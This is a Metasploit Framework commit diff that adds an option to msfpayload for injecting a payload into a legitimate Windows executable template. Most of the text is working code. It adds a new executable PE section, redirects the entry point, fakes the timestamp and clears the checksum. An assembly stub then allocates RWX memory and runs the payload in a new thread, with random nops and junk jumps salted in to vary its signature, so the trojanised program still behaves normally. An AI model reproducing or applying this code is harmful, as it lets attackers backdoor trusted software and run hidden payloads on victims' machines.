Closes #1244 with a caveat. If the template injected calls ExitProcess(), the payload will be killed. This means that -k is not compatible with our default executable
git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
+306
-4
@@ -75,11 +75,88 @@ require 'metasm'
|
||||
payload = win32_rwx_exec(code)
|
||||
|
||||
# Create a new PE object and run through sanity checks
|
||||
endjunk = true
|
||||
fsize = File.size(opts[:template])
|
||||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||
text = nil
|
||||
pe.sections.each do |sec|
|
||||
text = sec if sec.name == ".text"
|
||||
break if text
|
||||
endjunk = false if sec.contains_file_offset?(fsize-1)
|
||||
end
|
||||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:insert])
|
||||
if endjunk
|
||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
||||
end
|
||||
|
||||
#find first section file offset and free RVA for new section
|
||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
||||
first_off = fsize
|
||||
pe.sections.each do |sec|
|
||||
first_off = sec.file_offset if sec.file_offset < first_off
|
||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
||||
end
|
||||
#align free_rva
|
||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
||||
|
||||
#See if we can add a section
|
||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
||||
raise RuntimeError, "Not enough room for new section header"
|
||||
end
|
||||
|
||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
||||
start_rva = free_rva
|
||||
|
||||
#make new section, starting at free RVA
|
||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
||||
#pad to file alignment
|
||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
||||
|
||||
#make new section header
|
||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
||||
new_sechead.v['Name'] = "\x00"*8 # no name
|
||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
||||
new_sechead.v['VirtualAddress'] = free_rva
|
||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
||||
new_sechead.v['PointerToRawData'] = fsize
|
||||
|
||||
# Create the modified version of the input executable
|
||||
exe = ''
|
||||
File.open(opts[:template], 'rb') do |fd|
|
||||
exe = fd.read( File.size(opts[:template]) )
|
||||
end
|
||||
#New file header with updated number of sections and timedatestamp
|
||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
||||
|
||||
#new optional header with new entry point, size of image, and size of code
|
||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
||||
|
||||
#new section header and new section
|
||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
||||
exe += new_sec
|
||||
|
||||
cks = pe.hdr.opt.CheckSum
|
||||
if(cks != 0)
|
||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
||||
end
|
||||
|
||||
pe.close
|
||||
|
||||
return exe
|
||||
end
|
||||
|
||||
if(not text)
|
||||
@@ -967,7 +1044,232 @@ require 'metasm'
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
# This wrapper is responsible for allocating RWX memory, copying the
|
||||
# target code there, setting an exception handler that calls ExitProcess,
|
||||
# starting the code in a new thread, and finally jumping back to the next
|
||||
# code to execute. block_offset is the offset of the next code from
|
||||
# the start of this code
|
||||
def self.win32_rwx_exec_thread(code, block_offset)
|
||||
|
||||
stub_block = %Q^
|
||||
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
||||
; Output: The return value from the API call will be in EAX.
|
||||
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
|
||||
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
||||
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
||||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp short next_mod ; Process this module
|
||||
^
|
||||
|
||||
stub_exit = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: None.
|
||||
; Clobbers: EAX, EBX, (ESP will also be modified)
|
||||
; Note: Execution is not expected to (successfully) continue past this block
|
||||
|
||||
exitfunk:
|
||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl short goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne short goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
||||
stub_alloc = %Q^
|
||||
pushad ; Save registers
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
#{stub_block}
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
|
||||
allocate_size:
|
||||
mov esi,PAYLOAD_SIZE
|
||||
|
||||
allocate:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; Push the length value of the wrapped code block
|
||||
push byte 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
mov ebx, eax ; Store allocated address in ebx
|
||||
mov edi, eax ; Prepare EDI with the new address
|
||||
mov ecx, esi ; Prepare ECX with the length of the code
|
||||
call get_payload
|
||||
got_payload:
|
||||
pop esi ; Prepare ESI with the source to copy
|
||||
rep movsb ; Copy the payload to RWX memory
|
||||
call set_handler ; Configure error handling
|
||||
|
||||
exitblock:
|
||||
#{stub_exit}
|
||||
|
||||
set_handler:
|
||||
xor eax,eax
|
||||
; push dword [fs:eax]
|
||||
; mov dword [fs:eax], esp
|
||||
push eax ; LPDWORD lpThreadId (NULL)
|
||||
push eax ; DWORD dwCreationFlags (0)
|
||||
push eax ; LPVOID lpParameter (NULL)
|
||||
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
||||
push eax ; SIZE_T dwStackSize (0 for default)
|
||||
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
||||
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
||||
call ebp ; Spawn payload thread
|
||||
|
||||
pop eax ; Skip
|
||||
; pop eax ; Skip
|
||||
pop eax ; Skip
|
||||
popad ; Get our registers back
|
||||
; sub esp, 44 ; Move stack pointer back past the handler
|
||||
^
|
||||
|
||||
stub_final = %Q^
|
||||
get_payload:
|
||||
call got_payload
|
||||
payload:
|
||||
; Append an arbitary payload here
|
||||
^
|
||||
|
||||
|
||||
stub_alloc.gsub!('short', '')
|
||||
stub_alloc.gsub!('byte', '')
|
||||
|
||||
wrapper = ""
|
||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||
|
||||
cnt_jmp = 0
|
||||
cnt_nop = 64
|
||||
|
||||
stub_alloc.each_line do |line|
|
||||
line.gsub!(/;.*/, '')
|
||||
line.strip!
|
||||
next if line.empty?
|
||||
|
||||
if (cnt_nop > 0 and rand(4) == 0)
|
||||
wrapper << "nop\n"
|
||||
cnt_nop -= 1
|
||||
end
|
||||
|
||||
if(cnt_nop > 0 and rand(16) == 0)
|
||||
cnt_nop -= 2
|
||||
cnt_jmp += 1
|
||||
|
||||
wrapper << "jmp autojump#{cnt_jmp}\n"
|
||||
1.upto(rand(8)+1) do
|
||||
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
|
||||
cnt_nop -= 1
|
||||
end
|
||||
wrapper << "autojump#{cnt_jmp}:\n"
|
||||
end
|
||||
wrapper << line + "\n"
|
||||
end
|
||||
|
||||
#someone who knows how to use metasm please explain the right way to do this.
|
||||
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
|
||||
wrapper << stub_final
|
||||
|
||||
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
|
||||
off = enc.offset_of_reloc('PAYLOAD_SIZE')
|
||||
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
|
||||
res = enc.data + code
|
||||
|
||||
res[off,4] = [code.length].pack('V')
|
||||
res[soff,4] = [block_offset - (soff + 4)].pack('V')
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -29,6 +29,7 @@ $args = Rex::Parser::Arguments.new(
|
||||
"-n" => [ false, "Dump encoder information" ],
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-x" => [ true, "Specify an alternate win32 executable template" ],
|
||||
"-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ],
|
||||
"-l" => [ false, "List available encoders" ])
|
||||
|
||||
#
|
||||
@@ -95,6 +96,7 @@ delim = '_|_'
|
||||
output = nil
|
||||
ecount = 1
|
||||
altexe = nil
|
||||
inject = false
|
||||
plat = nil
|
||||
|
||||
# Parse the argument and rock that shit.
|
||||
@@ -136,6 +138,8 @@ $args.parse(ARGV) { |opt, idx, val|
|
||||
encoder = val
|
||||
when "-x"
|
||||
altexe = val
|
||||
when "-k"
|
||||
inject = true
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
@@ -153,6 +157,11 @@ if(not fmt and output)
|
||||
end
|
||||
end
|
||||
|
||||
if inject and not altexe
|
||||
$stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies."
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Initialize the simplified framework instance.
|
||||
$framework = Msf::Simple::Framework.create(
|
||||
:module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ]
|
||||
@@ -209,11 +218,11 @@ case cmd
|
||||
when 'exe'
|
||||
exe = nil
|
||||
if(not arch or (arch.index(ARCH_X86)))
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe})
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
|
||||
end
|
||||
|
||||
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
|
||||
exe = Msf::Util::EXE.to_win64pe($framework, raw, {:template => altexe})
|
||||
exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
|
||||
end
|
||||
|
||||
if(not output)
|
||||
@@ -246,7 +255,7 @@ case cmd
|
||||
end
|
||||
end
|
||||
when 'vba'
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe})
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
|
||||
vba = Msf::Util::EXE.to_exe_vba(exe)
|
||||
if(not output)
|
||||
$stdout.write(vba)
|
||||
@@ -256,7 +265,7 @@ case cmd
|
||||
end
|
||||
end
|
||||
when 'vbs'
|
||||
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => false, :template => altexe})
|
||||
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
|
||||
if(not output)
|
||||
$stdout.write(vbs)
|
||||
else
|
||||
@@ -265,7 +274,7 @@ case cmd
|
||||
end
|
||||
end
|
||||
when 'loop-vbs'
|
||||
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => true, :template => altexe})
|
||||
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
|
||||
if(not output)
|
||||
$stdout.write(vbs)
|
||||
else
|
||||
@@ -274,7 +283,7 @@ case cmd
|
||||
end
|
||||
end
|
||||
when 'asp'
|
||||
asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:persist => false, :template => altexe})
|
||||
asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
|
||||
if(not output)
|
||||
$stdout.write(asp)
|
||||
else
|
||||
|
||||
+2
-2
@@ -295,8 +295,8 @@ class Plugin::Nexpose < Msf::Plugin
|
||||
end
|
||||
site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template))
|
||||
opt_credentials.each do |c|
|
||||
site.site_config.addCredentials(c)
|
||||
end
|
||||
site.site_config.addCredentials(c)
|
||||
end
|
||||
site.saveSite()
|
||||
|
||||
print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose
|
||||
|
||||
Reference in New Issue
Block a user